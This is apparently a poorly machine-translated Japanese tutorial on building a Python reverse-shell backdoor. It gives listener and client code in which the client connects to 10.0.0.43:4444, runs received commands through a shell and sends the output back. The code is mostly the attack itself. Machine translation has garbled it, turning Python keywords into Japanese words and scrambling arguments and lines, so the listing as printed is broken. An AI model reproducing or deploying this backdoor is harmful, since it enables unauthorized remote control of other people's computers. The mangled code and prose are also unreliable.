バックドアソケット
問題:
- TCPはストリームベースです。
- メッセージ/バッチの終了を識別することは困難。
解決:
- メッセージは明確に定義されていることを確認します。
- 送信し、方法が準拠受け取るプロトコルを実装します。
- ヘッダ、メッセージのサイズを送ります。
- 各メッセージのエンドツーエンド・オブ・メッセージマークを追加。
- メッセージをシリアル化。
バックドアのシリアライズ
利点:
- メッセージは明確に定義されたメッセージが不完全な場合、受信機が知っています。
- (リスト、dicts ...等)のオブジェクトを転送するために使用することができます
実装:
- JSONとピクルスは、一般的なソリューションです。
- JSON(JavaScript Object Notation)は、多くのプログラミング言語で実装されています。
- テキストなどのオブジェクトを表します。
- クライアントとサーバ間でデータを転送する際に広く使われています。
サーバーサイド - リスナーコード:
#!は/ usr / binに/のenv pythonの 輸入ソケット インポートのJSON クラスのリスナー: デフ __init__ (自己、IP、ポート): リスナー = socket.socket(はsocket.AF_INET、socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET、ソケット。 SO_REUSEADDR、 1 ) listener.bind((IP、ポート)) listener.listen(0) 印刷(" [+]着信接続を待機" ) self.connection、アドレス = listener.accept() プリント(「[+]ガットからの接続" + STR(アドレス)) デフ(自己、データをreliable_send): json_data = json.dumps(データ).encode() self.connection.send(json_data) デフ自己(reliable_receive): json_data = "" しばらく真: 試してください: json_data = json_data + self.connection.recv(1024 ).decode() の戻りjson.loads(json_data) を除くとValueError: 継続 デフexecute_remotely(自己、コマンド): self.reliable_send(command.decode()) リターンself.reliable_receive() defを実行します(自己): しばらく真: コマンド =入力(" >> " ).encode() 結果 = self.execute_remotely(コマンド) 印刷(結果) my_listener =リスナー(" 10.0.0.43 "、 4444 ) my_listener.run()
クライアント側 - バックドアコード:
#は/ usr / binに/ ENVのpython! 輸入JSON 輸入ソケット 輸入サブプロセスの クラスバックドア: デフ __init__ (自己、IP、ポート): self.connection = socket.socket(はsocket.AF_INET、socket.SOCK_STREAM) self.connection.connect( (IP、ポート)) デフreliable_send(自己、データ): json_data = json.dumps(データ).encode() self.connection.send(json_data) デフ)(自己reliable_receive: json_data = "" ながら真: 試します: json_data = json_data + self.connection.recv(1024 ).decode() の戻りjson.loads(json_data) を除くとValueError: 継続 デフexecute_system_command(自己、コマンド): リターン subprocess.check_output(コマンド、シェル= 真)は デフ実行します(自己): 一方TRUE: コマンド = self.reliable_receive() command_result = self.execute_system_command(コマンド) self.reliable_send(command_result.decode()) connection.close() my_backdoor=バックドア(" 10.0.0.43 "、4444 ) my_backdoor.run()
結果を実行します。
#!は/ usr / binに/ envをpythonimport jsonimport socketimportサブプロセス
クラスのバックドア:デフ__init __(自己、IP、ポート):self.connection = socket.socket(はsocket.AF_INET、socket.SOCK_STREAM)self.connection.connect((IP、ポート))
デフ(自己、データをreliable_send):json_data = json.dumps(データ).encode()self.connection.send(json_data)
デフ自己(reliable_receive):json_data = ""しばらく真:試してみてください。json_data = json_data + ValueErrorを除くself.connection.recv(1024).decode()の戻りjson.loads(json_data):継続
デフexecute_system_command(自己、コマンド):リターンsubprocess.check_output(コマンド、シェル=真)
デフ(自己)を実行します。しばらく真:コマンド= self.reliable_receive()command_result = self.execute_system_command(コマンド)self.reliable_send(command_result.decode())connection.close()
my_backdoor =バックドア( "10.0.0.43"、4444 )my_backdoor.run()